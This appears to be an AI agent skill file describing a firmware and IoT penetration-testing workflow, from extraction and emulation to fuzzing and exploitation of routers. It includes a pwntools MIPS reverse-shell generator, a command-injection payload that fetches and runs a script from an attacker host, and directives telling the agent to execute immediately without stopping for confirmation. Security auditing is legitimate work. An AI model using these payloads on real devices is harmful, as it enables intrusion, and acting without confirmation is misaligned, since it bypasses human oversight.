Firmware Pentest

---
name: firmware-pentest
description: |
  Firmware / IoT penetration chain. From getting a .bin / .img blob to completing the full loop: reverse engineering -> extraction -> emulation -> exploitation.
  Methodology follows OWASP FSTM nine phases; toolchain centers on binwalk v3, unblob, EMBA, Firmadyne, AFL++.
  Applicable scenarios: router/camera/smart-home firmware audit, firmware upgrade package reversing, IoT CVE reproduction, embedded 0day discovery.
  Trigger keywords: firmware, IoT, binwalk, unblob, UART, JTAG, squashfs, UBI, JFFS2, Firmadyne, QEMU full-system emulation, EMBA, firmware pentest, router firmware, embedded vulnerability exploitation, bootloader, NVRAM, FAT, firmware analysis toolkit.
---


# Firmware / IoT Penetration Chain (Firmware Pentest)

## ACTION REQUIRED (execute immediately after reading)

1. `NOW`: read the local precedent only if it exists; written scope and explicit authorization are still required for hardware access, external retrieval, emulation with network exposure, fuzzing, exploitation, or tool installation. Otherwise remain offline/read-only and mark claims `unverified`.
2. `NOW`: Confirm the current task matches this skill's scope
4. `NEXT`: When tools are missing, call bootstrap - do not guess paths
5. `ACT`: Enter the first step of the "Workflow" and execute - do not stop at confirmation state

## Scope

These tasks enter this skill:

1. **Got a firmware file** (.bin / .img / .trx / .chk / OTA zip), need to go from zero to RCE
2. **Router/camera/IoT device audit** - need to batch-discover known CVEs and undisclosed vulnerabilities
3. **Encrypted/packed firmware**, need to find bootloader decryption routine or hardware dump
4. **Need to run without touching hardware** (QEMU full-system emulation / Firmadyne / FAT)
5. **Fuzz emulated services** (AFL++ qemu mode / boofuzz)
6. **Hardware interface access** (UART / JTAG / SPI flash dump)

### Division of labor with other skills

| Scenario | Use which |
|------|--------|
| Got firmware from scratch, full FSTM chain | **This skill** |
| Single ELF/so static reverse only | `reverse-engineering/`, `ida-reverse/`, `radare2/` |
| Web/RCE exploitation after emulation | `pentest-tools/`, `attack-chain/` |
| Hardware interface (UART/JTAG/SPI) practice | This skill's Stage 2 section + `patterns-hardware.md` |
| APK / Android firmware (with boot.img) | `apk-reverse/` (strip boot.img first then use this skill) |
| Cross-version firmware symbol migration | `binary-diff/` |

## Core principle

```text
Firmware .bin
   |
   +- Stage 1-3: Information gathering / acquisition / static analysis (parts visible without unpacking)
   |
   +- Stage 4: Extract filesystem  <- binwalk v3 / unblob / jefferson / ubi_reader
   |     |
   |     +- Failure -> find bootloader decryption routine / UART dump / SPI flash hardware read
   |
   +- Stage 5: Filesystem static analysis  <- EMBA automated + manual grep
   |
   +- Stage 6: Emulation  <- Firmadyne / FAT / qemu-user-static + chroot
   |
   +- Stage 7-8: Dynamic / runtime analysis  <- gdb-multiarch, IDA remote debugging, Ghidra
   |
   +- Stage 9: Binary exploitation  <- AFL++ fuzz / manual PoC / ARM / MIPS payload
```

Key judgments:
- Extraction failure does not mean firmware is encrypted - first run binwalk v2, binwalk v3, unblob, jefferson, ubi_reader all
- EMBA one command produces HTML report, saves 80% of manual effort, remaining 20% is real vulnerability hunting
- When emulation fails, first suspect NVRAM missing, network interface name mismatch, `/dev/` nodes missing
- ARM / MIPS payload must distinguish endianness (mipsel vs mipseb), don't mix up

## OWASP FSTM nine-phase workflow

### Stage 1 - Information Gathering

Collect model, chipset, SDK, published CVEs.

```bash
# FCC ID query (US devices)
curl -s "https://fccid.io/?q=$FCC_ID"

# Chipset identification reference
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
```

Output: chipset model, SDK source (SDK determines whether binwalk succeeds in one shot).

### Stage 2 - Obtaining Firmware

Four paths: official download, OTA capture, UART shell then dump, SPI flash physical read.

```bash
# Batch download after OTA capture
mitmdump -s save_response.py

# UART access (USB-TTL, common baud rates 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# SPI flash read with CH341A + flashrom
flashrom -p ch341a_spi -r dump.bin
```

### Stage 3 - Analyzing Firmware

Without unpacking, look at header, entropy, strings, identifiable signatures.

```bash
binwalk firmware.bin              # magic scan
binwalk -E firmware.bin           # entropy graph, high-entropy section = compression/encryption
strings -n 8 firmware.bin | less  # banner / kernel version / paths
file firmware.bin
hexdump -C firmware.bin | head -64
```

### Stage 4 - Extracting Filesystem

See `references/extraction-methodology.md` for details.

```bash
binwalk -eM firmware.bin           # recursive extraction
unblob -d out/ firmware.bin        # handle formats binwalk fails on
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI
```

### Stage 5 - Filesystem Analysis

EMBA one-click scan, see `references/emba-automated-analysis.md` for details.

```bash
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
```

Manual supplement:

```bash
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
```

### Stage 6 - Emulating Firmware

See `references/emulation-and-fuzz.md` for details.

```bash
# User-mode: run single binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# Full-system: FAT (Firmadyne wrapper)
sudo fat.py firmware.bin
```

### Stage 7 - Dynamic Analysis

After emulation, attach debugger, capture traffic, run fuzz.

```bash
# gdb remote debugging MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + router Web UI
echo "Set Firmadyne emulated IP as Burp upstream proxy target"
```

### Stage 8 - Runtime Analysis

Attach debugger on real hardware, or do coverage-guided fuzz in emulated state.

```bash
# AFL++ qemu mode fuzz ARM / MIPS binary
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
```

### Stage 9 - Exploitation

Write PoC, generate payload, land root shell.

```bash
# pwntools generate MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"
```

## Typical scenario examples

### Scenario 1: Normal router firmware full chain (TP-Link / Xiaomi router / OpenWrt derivative)

```text
Firmware: router_v1.2.3.bin (unencrypted squashfs)
Goal: Find Web admin interface unauthorized RCE and reproduce

Step 1 Information gathering
  - FCC ID lookup -> MT7621 + MT7615 + 16MB flash
  - Published CVE: CVE-2023-xxxxx (chk header validation defect)

Step 2 Obtain firmware
  - Official download .bin, sha256 compare with known sample

Step 3 Analyze
  - binwalk -> detected uImage + squashfs-xz
  - Entropy graph -> squashfs segment entropy ~0.95 (normal compression)

Step 4 Extract
  - binwalk -eM router_v1.2.3.bin
  - Got squashfs-root/ complete root filesystem

Step 5 EMBA scan
  - Report high-risk: lighttpd 1.4.45 (CVE-2018-19052) + busybox 1.27.2 multiple CVEs
  - Custom binary: /usr/sbin/cgibin contains system() direct string concat

Step 6 Emulation
  - sudo fat.py router_v1.2.3.bin
  - Emulated IP 192.168.0.1, Web accessible

Step 7-8 Dynamic
  - Burp capture /cgi-bin/luci series interfaces
  - Found hostname parameter direct string concat into system

Step 9 Exploit
  - Construct hostname=`;wget http://attacker/x;sh x;`
  - Emulated state successfully reverse shell
  - Real device retest passed -> report SRC
```

### Scenario 2: Encrypted firmware (find bootloader decryption routine)

```text
Firmware: encrypted_fw.bin (binwalk all blank + entropy ~0.99)

Step 1 Determine if truly encrypted
  - Full segment entropy ~0.99 and no magic -> likely encrypted or pure compressed
  - First 256 bytes hexdump -> check for vendor header

Step 2 Obtain bootloader
  - UART boot time key press to enter U-Boot
  - md.b 0x80000000 0x1000   # read memory
  - Or SPI flash physical read entire chip -> contains U-Boot section

Step 3 Reverse U-Boot find decryption routine
  - Use reverse-engineering skill (IDA / Ghidra)
  - Entry board_init_r -> find image_decrypt before do_bootm
  - Usually AES-128-CBC, key hardcoded in .rodata

Step 4 Offline decryption
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 Return to Stage 4, redo standard flow
  - binwalk decrypted.bin -> see squashfs
  - Subsequent same as scenario 1

Fallback
  - Bootloader also encrypted -> find SoC-level ROM documentation
  - SoC has secure boot -> check public fault injection / glitch resources
```

## Notes

- **Endianness**: MIPS routers commonly mipsel (little-endian, MT series) / mipseb (big-endian, Broadcom series), don't mix up qemu binary
- **NVRAM**: emulated httpd crashes immediately -> 90% is nvram_get can't get value, Firmadyne has libnvram hook, FAT includes by default
- **EMBA is not a silver bullet**: don't trust all CVEs output, verify version strings and actual exploitation conditions
- **AFL++ qemu mode is slow**: first recompile target with afl-clang-lto (if source available), 5-10x faster
- **Dump before real device operations**: physical device bricking requires full flash dump, use flashrom / ch341a / minipro
- **Legal boundary**: own device, SRC authorization, CTF, public lab only, enterprise production devices need written authorization
- **field-journal writeback**: after completing each firmware, record chipset, SDK, binwalk success, emulation success, next same-series direct reuse

---

## On-Demand Bootstrap

### Tool list

| Tool | Purpose | Auto-install |
|------|------|---------|
| binwalk v3 | Main extraction (Rust rewrite) | Yes |
| binwalk v2 | Compatible with old plugins | Yes |
| unblob | Fallback extraction | ✓ |
| jefferson | JFFS2 extraction | Yes |
| ubi_reader | UBI / UBIFS extraction | Yes |
| EMBA | Automated analysis framework | Yes |
| Firmadyne | Full-system emulation | Yes |
| FAT (Firmware Analysis Toolkit) | Firmadyne wrapper | Yes |
| qemu-user-static | User-mode emulation | Yes |
| qemu-system-* | Full-system emulation | Yes |
| AFL++ | Fuzzing | Yes |
| pwntools | Exploit scripting | Yes |
| flashrom | SPI flash read/write | Yes |
| picocom | UART serial | Yes |

### Install commands

The commands below are reference-only bootstrap instructions. Do not execute package, repository, privilege, or tool installation automatically; require explicit authorization and an isolated environment.

```bash
# Debian / Ubuntu one-shot
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3 (Rust version)
cargo install binwalk

# Python tool series
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install
```

### Windows users

Firmware pentest chain strongly depends on Linux tools, recommended:
- WSL2 Ubuntu 22.04 (sufficient for most scenarios)
- Or standalone Kali / Ubuntu VM
- EMBA requires Linux, Firmadyne / FAT require Linux

---

## Routing context

**Upstream entry**: `skills/SKILL.md` (master control), `routing.md`
**Trigger condition**: task involves firmware files, IoT devices, embedded vulnerability hunting, router audit
**Downstream exits**:
- Single binary deep static analysis -> `reverse-engineering/`, `ida-reverse/`, `radare2/`
- Web RCE / post-exploitation after emulation -> `pentest-tools/`, `attack-chain/`
- Cross-version firmware symbol migration -> `binary-diff/`
- Hardware interface practice reference -> `patterns-hardware.md`
- APK / boot.img processing -> `apk-reverse/`

**Sibling**: `pentest-tools/` (Web exploitation phase coordination), `attack-chain/` (cross-phase attack chain planning)

**Reference docs**:
- `references/extraction-methodology.md` - Extraction details and failure fallback
- `references/emba-automated-analysis.md` - EMBA full workflow
- `references/emulation-and-fuzz.md` - Emulation + fuzz practice


## Task completion self-check (MUST pass before claiming done)

- [ ] Did I execute every step in the workflow (not just read)?
- [ ] Did I use real tool paths based on `tool-index`?
- [ ] Did I produce reproducible evidence (commands/scripts/screenshots/report)?
- [ ] Did I complete and write back the Checklist items required by RULES?